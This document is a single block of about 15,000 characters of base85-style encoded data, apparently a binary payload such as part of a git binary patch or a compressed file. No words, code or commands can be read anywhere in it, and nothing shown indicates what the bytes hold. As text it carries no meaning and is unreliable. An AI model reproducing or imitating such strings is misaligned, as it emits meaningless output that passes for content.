zd(unSr&38tYAo15PGzCAN<((BpNc!X>tYt4>)=;jC7G67aku`W;O zKVJ+n_wGSkZpirE8T>w9DM5W-uIO3R3HZkhA5d$lc?tQ3vWsLhTNV)=Jv=zrv|pGJ zKK4^Ic*WuXQZJaa89USAntKXW)ihA_dpTW%#F* zdUI6<182UC|F+d{v3+6gIL$z%3OeHJ64)!Q9bEJfwJ;}$+Yo*?ObkfX3Fka)jecyl zxUpV#=&ZN6iT*fW_vw&$>AHTO=ro{NXU@&x3xLQ0;{UPYwSaSV&N|E~iMAj};sA4|r z>pw$-;G&`GN`akeN`1mh$Nh8yz+CiArkRg&%%NAvL%sb65gQS;|;d7 zsi`T{bGzybdz|P&m%-Kb3K|4Qvjyc>ZjOj9UU(zV>h+^*kbp;YIO!hOOPp`|nZ1OY zFM`d;@)dWT84dccbH`h`0dY8fmS3V-5p4;j_S>ljMwN!^yOo5hRzDoP?oElKLqtM+ zHlH7hl~dN|t^;l^In}+_UgBQdi;W49fwOVdq@sZK9cA(L%cH^kS5rbn*S6>KtOhuv z;QMhFp{fTH-{mQNwEUss!6}0Bm4L)c%3oh> zJy92hS{0F$?$P%qOEh!Rd3R8{KH9*O%vgYT)W{ zt`hQdmGpU)e})b-MAE~?W80xMyn3Q#blJzju=Sy{yukzgJ3o`Ye}AKL<)h`}MFnyS zQ^#f;w1G+VcEuR&nc{wLWU*OiCb%QhhvMqJsr(X27%O6Dw|!G?KJD`3eY5IW*RP2h z#ZkIE*K4}P28Rxz{mL!y>j7LtZ2V~(wdHKt!U*^3Q_kztZYYWU*}d-urJ3aEKR{xX zJrtcJIW-k(&|T1WLLktX5UPw7un7|2d)`X`{3J9m5eI=b(%3B?ZjK*E`A_5X@c&x9u{^m{pIRlrpio;@#*Q8@lH0{@(Mfsb<2eTBn!@B37xw&Wa z88E%%o@E=mp zZpkQUIXxIIN&VkYvHrBS?6Iof;?8);?t6EZ;n2>@%S!}+OiV5>FJX)>cSa&tIJtUy zd&!`!AVEmvmQeUYNdnz@&l^$9g-Th(1O#8`WUJ&WuieVeD{=oG397n%P?&MV&SI!q)^Q^URGmZ|@7AO;5QF1t#=e3OgC?r0VgIx##zbbmYL z@*&jNw5XNz^IH$+`b$O!-|*8+7RR6W0_(k%Eoi-M6~w}44#2oWcZh$F`P_YS3!UC| zXXlS+bN{=CF!mxPLQk4Es}4J1m8%y$QKg6p$k4I0eS^yI-3p#ghen%^eiGu=4v?&h zrutP2M@70kh0b>t+82)d>0?GaOI@?xCu<3~`Vn+Mc^FF94 zC)UvddvlemG2AOMtBLfsL&=O#h+#+g{8o?EbRZssj1TI^4+j#c0Vo43F*Q{yqs_sILc(u5&(eLMA`w;P=)&35+&y*6(&KZ=_qtP8nd+twVM)xnJ1C_~#Udmj zR98m3LFPHbs0=trDQ$7@Bdie{+_WhqopN}tMqoJzR>IF=hp_vc-hCKU_WgkdG(15M z&XRVp|8qwamg!t>2h;zwywcFnK$kp~&+VfJJ>tUO8I=Qic*#nGwu8+TtAzC#)HWZ7 z!!G5U%;sNi-(z7|5Lx#1Tk2EZyV(o2KGL+AbRSYL6L;=j#*p$lLnk91igtcKoT2wr zjH2x!@~HZQfcN@bwHkd)Pmnr{XNtg{_(<|4bcT1|!~Ot=PqGyK?Z5dMkAvk(>wVkp zN{j76HNAQvhl4>W;}Hr0%fWUj9yj`d>(o!Byw~pYHXC{(YmfJuk)RB(?7nHV!3Kv^{|VjRi@)%0{u&{Q}%xH|6l>s``xYv1VGz=#~V9|&bk{tcJ*^m z;jfL`Y(A>|YamcG1tWTwk-0)||Al0)x!wQyA$0b?1aqAV!N$C#G9QnC#J+JoG*t87 zymMWw51Q>kle2G9D4>QU!|1PNhc5qRwZxcg?Ck&iixzQk!rZF|I28=p*_yi5zhbI`#R|6crhy5dQDA5#d0e?R)0kmX^uFKkTs8s_=8?2G|km( z^>h-qQB7$)bKZ*WOIsZt9xf{@gN7+2^!u4FhP-WRa4BD*xpO}hw0<4}%ZGfgmlcxJ z3^u_(=#xYs(DNMG>>f(sXR3etCyAcsc0XC7zdnTqhO7ZhRC0-bbqjsTjje(fJBFA$ zmY5;X)Z%H~h(fU06($sCVUfU*0r_A-z%+3qqDp4L^*LExNUX65L8o+`KW zr>*P-KKaKbC1U^V0b-athfyk2^a7PlkumnBC{;>Yh^l^=@!#|3C`vA|>Yp5jnJKoglaZ=@3Pe67~q zDWkuiV{Bm1<&p+{+ISzR;%A%MQ)|%xGvCb-Zv0y}j%R3)o2&J8gf4rz{&=Cbr)L#f z(|}&^DPeorT)@V1kx)06Y2hDr#Xm&-t1D#1DV`ntyPYyBcP_Lc9r!8jzHz@l{4MTK zd~5Tiiz@2g?$gP=t7unV^wGXD;Kblv)1#I2quzn9u3zB1aEL)ZT>mMMJaQcda6QCs zuv>*`<@$8I&?t!jy~Up_4FN$LvU6qxo~oUsMl`KD3_$KybgTlXI$rS0M}>ZgBudU( zPJ9~Vnf_4vfha(%!Wg};vfSYfBqt@uEDKgWF;y9md!4ZFqAt4yezlV)S+Fn z9*aScsn-UsA|du^3Ft`A&a$E~=!8jF-8*YaXU)uFMzuaW14f2Rd;C63-X>(OjP$XG z6J$R+1GPOc;DEpiK_nh|tqe}v`5UzE89(0tcixx>eN>_0>_UO9G-L}WcIMC-3kXMS}7rwFWGVc z@eik~m;rNkqjmU=j)4AK#BrSPoBm+Gq%7leKAf?dcK6u_b0q=Sm z#|i`feu;37-jT5IloGnk`)>Uxc5cb9e)PvOWPGL0%a6a4`bu42}Re_^={n4b^1*Cy}jaalaA&&o7^qu695 zJU1*Zz8?T{MRI2Hn$I!|q}7+{6kIS6LbB63OXF9C9L1&{7&30)1a+J)>;8+6eu6J# zP^s)T>+tk#7eM+~uGNf^#yxWxO(b;Ia$Lc_;mKUo2Za7`Oh&;=G$_h<<3)cMhOYQ{ z-nU)Y%8a-s^P7t1UJLpXyZ!q>44t8ok*f#wv-b_+)o8N>X72q{Rxbc{q8>mfdwE8t zlbJyNTsgDYzZJ=Srq<$k_;hga~iB4{wIRE+6n4nkN|iOb$}X?Tgnh!Ef^6cmf~}?^4Ms6f=EWG zY9U;}7u~Np^P4Irl!0-$;T73%U&f$hVfgi zpsS+?lUeY}UQa{ePAno|;{(Mjg~v{vR@wl5bW+Igt`YlbKfLb;X_ zPS2;t(QsT6%teQ6M9VA{w%A=kR^2-c;}ceF3MV8{e5wgGmflFHxNXR2qRwT{qh!Gz ziXZ~WjyaLmR{;7K)Y%c|7iL9;6FM|i2q;JfHdW^Id|J*wl$B&DQiGQ6iV8W05JW%$ z-=eCn)%|)*rAh#m3xMN+6D^ogRAjrg)nkE=p%b|}ZFcQ(G+TU~v^bEmge8JG_*I82 zwew0&-+r(Ru>i|L$LqCDB z&_GSoY(Re9!L`Za=gCnif30vuFrGgRMkaTD#BD@$^q>1p$&$a4X0mh|NjC*!?y=G7 zD=1lJ~Y zOeOjqVJQ``xbw0}28u!#E7OI0XhY1rhXr(c9W9)3R65K5Ng=THy@&61uah_HmW-g! zGost7Z4p7t83%hb-zF$RA$*&#Y72AH+xm;0*kkTw#0$@g6J@NdGx@%waULZ(Qd6U`IY7wfjaN0Y*aGYAICFOZeYJ8{r(zp(s?!p@n~ z=t87WZkdTlFP=#}WLMrag^J|=i>@G?m5%5G9Ia0^ZS(QJ<8KF!pUk&wo2Hed5}J+Y zJ*x;q!!aF*LuRr1a6(Zw`ccCJj$NVA>pbH-BNea?^HMyQQPg4$b%P|ewc=x}j?f)N zl7FW(1>{Erdf@Ve!Mi}_R-Md12!={3!_tVwDodsyk;{sOniOoQ*bz}~f-JmPtU@HS zH{DxC9K&^d#uakxz!zzE@pgHvHrZhftLTi;?8-PG zZ|{DiOvRl*!zckq*)=APkF&-fvnBb_ee0NTh}piL`b&_+Kfd<+S*3-q!yqDh$6K(@ zC9|7Who_sh^%+3L9SJu9d2R36_}k;N5QK}(t1JXG2jCd=_I?HEj<(YBO|0U>nZ)D+ zf};oT*tW4c(s_wYTwpPhGlD71oW97E$Z8438jn)GQlt@)K)LGzP`NeK>l2k;?qptg2N62TMV>s;}wjT%9$16R#4dRlt&V zyFi16P10whAdYUz`K&YaT`801&Ca8{v)~AgpI*0vhn}9EmG$;+#ip~%%5@#Fmr~1U z@#(RXY<|B-E(+cT)9ObTyN2 z{#wpLJkM}M0R?;LKJghwEA<0ohoCYO*k4~OzIT7~as@-$pp0guMdEbB9>cIFx-`0y zG#-%@6^?GY%jT%6k%H?T@s$!snoNhB_C?R%7F6;TTMajccTQGj`^7-HG%i3sqo^YN ziRsr;{I1N}u*;U9R(icxz26fVIk{{G*W9xzwOUpQ^WX&9--AI~>e0U)svYK>+sm`S zSIgLQ`;iUAyS`ffqJo&5@LM()L<}G>@P9^EJBSO#_>=-ZYE}p*oSe8KSLn}?fDLno z#c7Wyh#BQ(e*0Odf8m$S1~Y*Pef!+rb@|mrj;N(AuJ-fDs4nhTSkQ9es>}I>GYSES zLW}XfJ>zRnKya*|ldjLpvt8%6hdHKV#Gcx7jCd}Dk^sXH^c(4+AS?lBh;1Q zAtA+IMQKnghTL7q1u^g2IV}|Y_DreSzn7^-A{73jk;uMKpa*R}nu+ASn2P|RE^E_v zv1W^KuEefHgXH4C4Tsvi*i>BZ8xUTe5$Q_d| z6R@>E@3j0{6O%c;8T|m$InsQOu?JzDPI%x9ISk*FljpjHvD@v9B<(;?u{q@*}W;}*@FzwHl99B zogPsRM&iw|jGy2C3=9PGojh3S@bXYoOV-B(R6u}C{a8;3ubOP^=y*y^Ur8~R8V?E- zY+kYh9=?t7`>hlrxWsn#NVc;WC-aNMVW1Z09C`XSqOqv_R+QvTlVC$TLJnvnI&625 z3u~2!l_6Ml@;ug@wxZ{J9rs{_@R>QpI0R;7so|#Kg_d@2RmQLFz_iDYc;vSN1_muA z(_UV#9Vq(Z!ZH}6!f9K+&2}ih=Zjj65sB0&twb^bzXR|~f0zf%3s@1N(UT zI-iB^W0$;N1hYqRQb9Pd!&I%HIe&!RABZ5#l!lFHYO^Z(l_^b{26qcSBAEt5Qy)(HI%plD~IpvtG_Z%=HnQ0J&h}ZS+dhW+Hkp2c{8Okb=3f$rh$jI)V3d zdJctbyj4#C&P6?c~m?;HS75Ol(4ZP&**&n_)cB30-OV(xIZ1dInZ^7_UKjn>5rAGZ&-&=E;;36Vah3kp`ppS zRbW-nQF1GXEIfCP8=jX`{q#s*o6S*EL3f|dh)BHfo{YK17EVa>o zB9qr5h(gP0n@_OQ|Git`o7ZA5xjXFFlZTOYW0SL zhu1$bsn)Q&w^&ZA$=}*4GOO9na0{PI<+H#lZzHm%Mw0bQi`?NW%EQfY{J%k2iHw7uuoH++IpdN_j*B0MbMba>U5LSMV8<6|c&<>g zWFbJ(LS((q8?6abHP_jfa$YUFo!9=7A(G7xVzB_wv#3-7$U z`&DP+Qy4~&xM&*6_L+L3jlt~^dBt}#rz5aH>YA&SwaK%r&t4$kGHiTK`&rg-7#54^ zs|&!C8kQbQ(5*FZy0fB)!7bnvrx znnaANt~O)3Y6P&kd3+#%S1?b6Bx*}?mw)$-Fc2BLV&At6aA+5+AUqiVtKVG4!8_}*bVd%;mbM)q{_X$J=S5AFJH(`DJT$76+FH-2NM54Jo}~d z58PowKJL>j1!^-txY~N(EtfA11g2iPU{M=9$W)u!m#A zAO8|HuT5zg4df#;iB$yx$DTqwR4+C$*O9pq%(T@r_Lt!g+ktE;BJe?dpM$t*7nY@Q z+35@i#{{o6y&D+zw?g}yIVteRA;mM<%8}37Ne=MOFx@sMZJguU&fJe}Dsdi-Moin! zbsBEQJ(W*PhReYmK+dF51atMUf)({(M%U2_NLCcc+Lyt6Vsl#T0YF!2K!~ z`Ql*B2Ljc}Hrp^=@ZHO_ybV#)PmYUWHj;Zh_N(O}^9D>P5563~B}66PNEz6>cMoj6 zXt&FoULn!WBvSb{00ahNdPC9-g)V(iDcneZR7@=KXrI51?qm zcpMmedvwq%Cwu3)v;)}(6w4p|Oo(JaO8j+;7^eO4%R{>h;1uaNu4rxB@KDv!$&8D; zUNX&!z+tzRBG8@dn6$f{)HueM|7&f7eEe6^-Ffy@+CJh+hYQH>Q*$UcJPH99%4P1v zdAkST(_*(qpdlDJZ_hiR7t}8D0z@m9v(=Qu#0H?Z<8h_#)KRFTr6Fzz+;wShqZ&g_6%sC#Pm@|I)+519e5y_Cn|DE&to2Y|V|LCZG|5io=f2 zG>3qcog%a-J9`ri$lM6=h0xLG=1eop2@gEI#7w z%Fp5y<)VFAhvm^tYuBewU23i)E7kZf-#=4VXSyzhNU2e2W zyN5JqLTwGK&Z?fYeQdw_oi=SJ&pUv(-7*-C3?ROKX1}JC6 zv;IBiDm%k~7Hry!aykDig1Ht7&+kj4-G?zUfz|zAmqZuurP8Ul=`P z8oLaC&259NZCo@kq#q2uvd9yobJ zhk3x$cR|>RG2f2YWiHn<$|HlKn0p~{`zGNxjeABJ00l1&_oZ?*(X!b3%xO!3tT^m& z{jw?G%K^%kqn>#Q+g_P1^4Bjmv6U*bZY4JDw<Qh4Y9{Kd|G4+O^gnBwdyM?0Wz=*!CsV2NSf2f@`3)U9@5z-!AKdXT`ci)X_O z#nz_8+@Z$KiT0ddL3$(tN0nyu7?D=}!*!R8k$~U|77>_~Rg0?Go9~kL=;&w3iJ20K z<{0}lIVMaP0dg1y=vPe0Bj4Cn6)YTYy)u$&djdlU#i)rywe{kUM-vhV;InLtJh1~U5OvYqr$NoWXlauimVAgjsbK=$Q^jhTDq zbL+JhMhy)r#u0XOOuy?UxZ$e(t;tz z!ZW^Sh>zQ*=T02KYxm}=m_xe z@UXDH$^1C%UKqv~GpXbD^87j-gQ4}yTCv8!%(-M(oh5H!o+_O8J5~1A?UF6uk3%JU zdL>9yCkp-ecOPbOCpB!Dh;oSIpoMt~rnK}R7@9Feo^YtPi+;(Wrm*B>)Cv-R)Z-Y< zLmQQ6#8WDo1x>rT$Zx>M&{33VSm}^(lI`)aHm646!zJ~VM`bHIrcX~S!QjX@(#FT1 zbiN*UCdWmvVoOVX8&0m&eR0@4s>~l5tjs!xlN!oo$a?7Pe5EG~8Z74d9MYqO zUiOt$U~rgr3fGRPBwl$qV}8uidMv2hsXp>I4aldp8Ehyj#3*%k;!}r=g-=Dja6i?b zfLIhXx8aQH${M}=8Fv)tYUAAf?fx*pClWhsbbr2)G;D+!1m*wLj}Yiz;@7=7l0Xfn zHxG4nb%ny52tLG9D_r1BkW#?T($Kpmecl7Vy4&6pGpT2hyVs0yprpWbr%2)K3Ue;) z;tA*JN&I(A;@z56Jy-S?`F!A z+^~PR-4E}V#iiq%g?xP~`~i>K$nL|Abq>T22Ed*-#5E#LB{)cv$;!fx!y(@?6(f#L zZoOcB3gNplTKfD{k`SLe^(csD3I>w7oFLq;AFcN>QNO>+v>Xh~G} zzHUr&il`Ho&8xU{Iq^-G5&JMxlispvV`B?2Om$k78y*h~m5Gr`$2RO~D=RpZyb-(% zNpcBO-dgShR3MP<+f<_0<%2VbfsYR#0ouQt@K6=3{fohWhNmYF7Gwd3p8gO;QJIHw zXXqn7_DalFT1pC**7xqAu+MkfZT`0xiq6T<(fo{I*&aW{os$Dy)cOn~c6QwFCzC40 zHLDE{e;bF{_}JUOPf9V~cgncu4h)JlW0cC?6Sy9R@bHy;<>%015})MTyZ}XMTGGSo z5{(Z%>eB`^KUI#*a=~oX<2y7I?7L>W)y>T*D$E#b)@a=`XuL~=w86CLKusqQ=9i4n zp(QG5qJ}tx!Ru627Khh?u(`&}hG|Bv5L(ZssV}Mi7uYMsBUDaJYu1e`r<}>B9Mcf$ zzdRZ;`6S_P(s|pR-n&%^2*?_ykUVD(o;tT`-ct!53#xoC=Oj0^DP8fpdHm^GzdYuz z)Z4UkWD>P<>fEXB`lJ>syXn4xoPmVfF^kw-f}q=ZU+@geX{tt_E{_l;@k;~nLhbH; znfk6b#NVmM@Nm(KSgKTFgp_;*8tAiiiJKbF)WEC_oAY=GHdJvE$m^Y$Z14xZdz340$R zdQ?@j==S5t5#JddIhCE29R{8QGpeeq7l+neaTsDzn>JmSmrlLJaAP41UgDO`Zsju5HrHZyESW!h5^&? ze3`n#`8sd5ZaEnl**u`}A1{ro*6f+5$ zP}V*8wrE^l>H!qVrx7>}{xK#&g6)IwEqY6=8dgv7{CX5?Y~PFkGGYq9x_I@p$3?I7 zGKZ1!WPb1#vc$G)O>|m!38?SaVwdmhWMcUo5XXbgBnH(nT0vJyB_?ll<=jm7JS$&O z6){_}OS#J|3M`ZfhizOCXv>B@$<5I!JsEem(-NO&1%lTU#%Yqt;!lP4p0rumLPl2A z!ApQeC!lN_8lIKpTzJShH3p4>)rqm8zG6D`l*PTA|Pnh=WH5P_M3OpR_-j-?`rGifTs>3>9)-J!jfdL)&FH&({7Se z$5$qw4&;5SQS|F}iKBjT(r3bdMzP%iLYEvZ5~pKUwgMXG%zFF5xkRfz>52?9MGY1b zoP>mgDa8^9G0e=@KzDQd<`=*{@k4;n4bmiN>r7^u_WIUC)j0o}o;}2UF8P-Y%l~)* zK+!QN!+j^)E%3m*FrMqHtX2PQL%lN&zL(k=9v=Std~dVTaLT!NXZOOJf&eknE2;fA zgP<_KTwMLxXiNf4x!znVL>a=jAeUI`<`aa_wXbw(zL!D-ZQXY%;LO_7MSE=LAWD_b z4kmt@^9A>{(??aVM@vSwm|lc-*Ay}z|D@UH{I-nkKwtO+2rQbi1Q0Z(jC zdpP(MSgrZmmal_zyqVE1Kfij9ch|Zrp!yCiQR}dmI!>yr9X~NgwO@ckBkD)%&X}+z z9o}GyA_W318a6wb{MXX453z)PmfvDRgWOt=lt8^nPd}@2a!78iL7<`8P7U=Mo1#P8 zb{vx6G1_OU9kr4Mv*}zthUBEAM)%tzz?Hhqk(rvBY6(6A*6e@|ikxk|)+wPL4j{Sd z+CMGXX|^LKA&8YrI9d7axTq1;?}LE^3u)jj7{hls z(nAH7WOj0azx)tvh7=h!9UU2>=r?4EK}P0hKsL~AbDcJ0@qXC)xzezd$gd*>d2Yyr zycfKiUnqb7gvI2k={n`_$ql@R0O3ApY>TALz5@n*W4BD97}%l!kIdV2l(%sGPtR6P z5$}jWZRQnGLf}h){|LsjKfrAb*a_(OVjBVW=N)!9;4R+&giPN9${cETxrDm-_e$W| zVFBW}Sfc+vGKn>dV$C#odcT(5|Dz9qB-SBu$*r54os=k@!>(sfqNdje`TawHV}fEz z32zKcwBH}Pbv7#g^J(Qzv%_=C`2v4N8@GfvulGyS%we0;@q9dj7~wt*yY;GV>l*M= z+yw0X|HtGp4BA7wab_bRtHOf(FFBhZyulqB3#-@|> zWM13@lRLrN&gC_!2~rI`-&k<;++pikGs>fHSdMi0g}lGOZG=-n1az*gf`AmOY$*3b z`Sa%Xab0GcIO+E2YE5Mgs3q-_4~sB)Clz7s6#lCjY_D$?B{j4tFvP?#Xw(>hJ2Wsc zy|-8n01xR}SYlBUh?MWMyLOuIbdbNIl1;mi$*HRaW~`gEr+Pr~{229>yotrev}7G@DpBZ|h5Z1CqMS8|?yLE-3p0z05RVk_ z!V0Ke zXBqCkTb+o5uO*=?^%A;P4-(TuW8@||oql8@R|9r*2o_>wBAnc z2FdZ=jh0Sj*Rc=_%H3LAFa0(PBa_xlzj$&JHEEaDuh3!!scY@3j^KvDb8Hmn%Key+ ztS$X{B+e!b#~3A*D7BG!?b}R?S~*%-Jbd4nHhwx=hWU4C!+IV__S$t!tvlgf z@1O_wM#V;N-5pv9UQSIiWGWYq9V2*^5(Y$Tf#2Eh9#)DGw=7{P7p5apfQ-+{h)6lf zI3Kxo4=Vm5uxWe1=&ihCqq5PPQ9WWc1;|l>rmDx_0eVv)?*^jTRUK zgM)Ej36cGwK+*DY>h~plEQ0!j;|u(C#=0E35tSdib9%l_AuP5HV5%lkl(06tO zZhh=t6(?AB<+7?2l5j1U7P@i$@;ClL8oH}DystmJ(|Y&Erqbi0)o6y-pUz(?J2I{Lp?3|ikR8X_nU@t3rK^FIuD&&*UtQxR6Bjk zerq_$OsuOkuE@KW$ArH&uUYMPFNo_R5NN3$+r8&=_0WX;xbO#@#tB@j?}_3a?wE5r zAuC6P^&OBo)|@H-(buqRJWGHxg}b@1K%SaWb9Rav+;MK@wc?T$dRDexs1V^aul2vr zczPcNXZpV3eiDB#^ew!++Hc?UoK=psi(lSDYnY?y+5ej#f*AM*K}ZPD1l|w&2@(ki z;2*I1Y=gtofb@OFD?c-T2ICj;T}Eo7IBy=QJb=$`Oy@_<{?yMKZzXLxTm9j3P+t~9 zElKbUEU5oZi%$EuhIYB4sJQ0{7e27^hz{PQS}|4aE)2)A+U(Ge!4So3p@2*Hr|{d3 zi#nux0DG7PL?_%}N%Bz(4Uh$zF&dyBpu#}LuzWdLZ5>c3u3iWI6vQnN_sng6fY9ojk&|$RL&mh}|%Vv+LhkXd-0NlB$0yr~lN~ zt5DiyVQ7T!zA+m+>1LfXwYo=2ko?Bibtn=p3Vm#4ZSY;dIDOOaZxJIIF)E)7nyEa* z_87Xre~x_{$?kcv=K~4M*K+kA)^#Eugs)ugaj z(XbMzKc#1KA1`!rw9)gDJQEiLC9{GnE&x|BbD+T;gn%S#@o;g4%5QCS_9iIv!|1O~ zj3IdzA8>QgE3@HBv8G$LO8V3mrg-#b1Onq;&?0>VkZK{&O)Q|KI4M)4ItZPHnVPkr zK}=W;w$p;3roRVqQ9R8Sr;6Ma8RyuZomzus^+KXpDH+av`gKy!#=h@YV9!;A;Emu~v#7e&Q%a-H9oVp@yZ*Dx6G>yf z5D2?av0X*ihAmhmR+rebIojAoF@eu?<7>E4ZP$F0S!;SOu$(DgaKz?r2r(ma$>xs(z zElGd07vku~0JAhhm&TUqTZYnwM@0 zhI)td0dN=m{$Hu*k9lO-+6fTcYspyn$4&1F3GFRT@>JUnQZ|j3Y?^J%WTz| zP%2|zjVC9DL?(@IQoz$j9Dlcb!2@m1viy2Whk+q{IgL2=_I<&YO;cxd4NNyBHLjUA z-I)z20sgwt@|d#tEGF{&XJ2?|qYdpoeP{gKJ_2=`q^!RtQLxV9TX1DuDi(lNeVCaY zgiOdj*OEvMWh=II;DLbLBqjzqMT(7&FEb^@4S-zDTHZhbs{mm%5BQ8=lbzyTNxL-@ zl;mvF=`B-?}y{Q>KgOi+vZlB2%OG!G#^5-Hnh+x}opYkw4yC+soMqmPmndL1Dx2E=Y4P47( z`%D@5y|B3#+2jN-s>F?<+#|PQV7`QKi0yN)F%*LzSGaDzb23NSq$k!0uBK zqox9wRK;nBDs#$7B{lGRDo9EH?{uFH+;X+?*I`wCCLg8<6oY564=fHgm%=%;Z_|XR zdYzd(1LoN1sAjwSEx=~k;mS%&OSAnb7CLi+@+G-FYfCzU3+jnTD>2%To7r-AF-z~Y zpx#<9c5C)YBn)m!>|?kjPJ&|giz7@e{u_03TcVR2+M;7kzm12DL}wyIoTD-u-BBUF zobMz7G+H)gIJ-7ig2`p(cuDSCtyc@8Kwate((&C6{u}x`=zA$QGaT{7M|pIgCc2zXS?XJGj(%p8F1 zD|dTQ0+||6f(jl(F${1sk|go7t~{)(8jq~_?8-_<7ghPS5_q3N5W{_cR<4cD;m4XD z?JqQa%gGd7Te?*T5wd7zi{&R~JLxaP#sK@Q#n*?}a5M6c{px_}5-4m;seG?7Y<0G( z`S1nuRiL;hD$Vv!uetxlHX>6+1$x90=#X}bxg0e6vSSQCpB>BNEFo|7TS@UcLjguV zxCE`SPfknUvWkE~iE_xr7AN|XGz{nG(5$0B5cT;ofoe{XGSeM5$^`bxtT6L zuX6Ta{FL})+kt1Ga+ovuZMq#ACQpYDLzfo7E%;lK^?ep>?Lgy7hB4TQbt)*|+>*Kd zUn8Sl=Jql1IZMSR`)rh7(L+mg$fKR&@e07I2~&zRJ_wdO6YPo^#=W+!3GDDS(9U9sEKii72m6lf0%~;+!od3%@kNw`WAHUU1%WGb1EAI zmf{~hSrLXoZ@pNx)q!bfXb9ZzO<|G_AE@cKva<4dn#mff#02PF_Yn&U3QlW z!&k$X1OJ04e*`1jYa~97J=nZt)Xp$6du;c8NTQCM`T1Xvh_r>I?Loey9cE(zmB!sz z`3y7*7;eqmT>y&Bxicn!qB7}zM@WM+`$NR@zm{)tNv{{{G;n~ku=mt?qsflMy%zZ! zT*eo$-rVsv5UB0T^;Z8Ew6NoB$vjJ<7}!*!@@MiCeScyklVD-`@t$bneSFJ}$PYVU z-0tLtj0uUsmz5B@I)C`@Mt0Yxfsbs}qVw;r^0+@+irNBFMg&^LU3W9tF3Z=3Lx## zuwz*Cp`*Q(5FLoEgYv;S;b*6QXOZ&q^6Z;E9UUEwjJ|Y4_JOlntK1bmat+5=5`UhM zP>$=seLdpwz5nz1vmIUuG|n*voDehjDb443Lw@)}!Be8Fs_3^_NA>tQuPK9kKNkf9 zl++Zt&+lZsbIgboTA0X#qY3Y1F;&bhZs>(+F$L3iOy%8kc&nTtM3@=ffd&SWE=C!P zK_O8_yq(4#1o~p>MO??r<+SZ+Vth=@!B3yh()SW1c(jPG`_E;)-6pDa?nhG3|871# zR*V!v$hJK|I3q;qel^_5lv-Lv05xfAekwQOv|eyG!%BjhS?0Wwa$2pRZQOyLC)FRQ zg~9Egw*;U@ZRGF#aR_d&hbR4{dKoCtyN2P6SPG|>Qt6qY;v(uElnv>*_M#zQnC|t4 z!T)#lIA&N;g&z(&j!F4bP%dkymrdt&QgQe2^M=YXNUsHI{%_?Kuqua*YJgjs73SxI ze6{F0ZMOs^BqSIxwVLgXb#!!kM3Vz6ufK3w1E2Pj+iM;L?SZSD{IEK{%-G4_U0F-@ z0IWxhj%*C^@Lvwaq0cI!Oi#K~gW28y<|nl!!cWc_C`yHlt{4p9>aeiQmN1>CYz_H9 zBF#RQpFkeW@DT|zMK*j)ufMWK+GMYWf?EngxYCb@CW(z2j(4lZW2=y>YqkW`1@@%T z^$iKSxWTq{Ui`zQ*pJJE@y0H9nG&xr%|#zH$ycmS#8YtQkvI}m)lU?vUv2Zlj0A~ z)dmz5(GpMgOACc6l!BEU=;WW<4RvyW<&w|9eKHsqV$3+IWwmPvs zhPh$g)cUTTDfD=K^11C6ERP+r+L%+2mwbW<+79iAROG0<0A=ux%+2L8qQ!h`GpE*Q z`JyrwOoiI+Ey$u!%PY0?{H5s^}OQ zM#7L=4L&; z95+5MJ7 z;r)h2iF;;Uqf!31StT-S>-ZJ60aZLHcp+3=zxbBkM~dLZ(hLl8YhAm^17qNvhL8*z zX7KfD&IMkwoS86Np*WFVmyeV418B_P3kVk4A85B&C4r{+bDNli`Fj6?_TtvVrX@HGa~$?5!_dO4HS0cWrAO{*Cq$0l?`TQ_;`1iuby`IvGBr=MQmJ3KUA_-l!2e z>HU`ubk9#_Zi!z;X$`mqP|_%b(L#0iIJER55ULT)R#M5e@cW|~{%LCLm z=*c^+*3@=RxGZUXz9He;*iXt8Px}n*t%M4HWZG2XY1HZ-_A#;w`RfQVVISIbq0ZMO zbu;a+pEmtO!c3(E=#ru$B4WrBfqqIzkU#X*2$7;k_o|)9_=0{0sTk+iO8$9V29ocQ zjg_{X?B5z<+&(EOPhJU7I6XQUlXh*en4cE2HLz0m-mgr7jxy{}Y7Ok6ke^fe#H|-d zyt2b|b>fwx$jTJ%w{rDEB&=w;1t$jj-XZ zbuqvDDRNSY>3iJ~_MX63JAHvmXp!ad<)7}#U;;N!)Ya}O3KRc>ud#mkiAmzYY}MzhyTSCXWjKxvE}Z}3jTFz}zSNMvzMY!u z)II;EOUHkT-S$#{R`)FW)C>RSeR{GWq-rV!Xba)t;X_6>K)eQOhJkfBy!XECLV^Fl z{K??1)NF3ki3s#wR(Km988ooX?&mvT- zC_UkT*^Nbo%iu)8h|r6j?H5T{{iVG@W!S|;KCrBmIJNh)!s4&(pS7sUF=zmx z6td#Bz{tSD-O2zwm0eskWh)5+v9KW^j6<-M$DT3!FrUAWbnb7?&kTb6UsBm>o23c| z89;;p#O9Q!t&zC5oNKS(kE?B*lW)PdotiTN6PS1BI8|Rrgz730`LAk5ygZ<;or1L- ztN&M9lnj>>z{?=tHf<*;ED*!$-!ri)V*+ZqL3-p;Gfl%u|nJE>q`z9M1hQ2yO*ZEbU@21S3QkF^_FokX-XLV*b-GeG zkP_*0Q0k|JRz|-eKr69-!uUJ>EjJ^V6#%vlvlxpXHq&|~n6`hzajFKU9+p}%$_D}( zfYO3JLCvbvtyW-68u|jUezTb-Asfwah(TV zHY}xWYvR%n*V{&pDI`n21IpEs)8%&mM;x|Q3`0vxz=AA$wA7ym)Vb&7^&Y^Vs?V6$ zFD)%`JD+R{pS!+^P6A~!UYFYeF6@IV^uVxd8$OTsv!{b@-Bxo5){9?jHu-@qSE5`qX{EI=|iyIclR_s60UNW`# zqm3syO~;?LcVVvq;eUiZ7=;!6&$adMy4<^#$9P@k#U|xi#uyi4NmX0-4&jnTlcjFd znD*rICshkN&8$opNd;4yeFM6sdL+-rvq^XUnCw!GMcdbKH`Ay!S;~fMZ2jaIkCwyX zEvrs5-d}wa{m!7Gz|`7Ys!86ev07=0?6eRvY=hlfBbVOKgUz zU8j3^1@lx;&EKM$u^`wgW7;qPVJm=O5D8l$0y-HYR$E&~+OlwsbiRS3jLq5NtSYWGnvv*WOFH;r>^B0s~{_$IQK zth#Y%iAFs`ga8Es)qEJNiR7)w4V@;920|}_XmuL5OLtRr;0H;G0o#K+r;SP z7x$M3yTTbafIlq$BTTqY_kXLPeJ8}8N1;4FMPmH}x5??krX}}P9Q_z?a28Zgsmc5$ z<;wHzvunJ1#KFUt0f1@tLHS57#wtd=`aNoV4E|JQ`#)X)C5{ji2;b7uz>Ek<+zx0^ z*Qo{<<~~5JuUr}(p&sK;WsoS!1(Y$dz+an$I>yZvYnUM$p?t27;LY#vH)r|<<2_PH 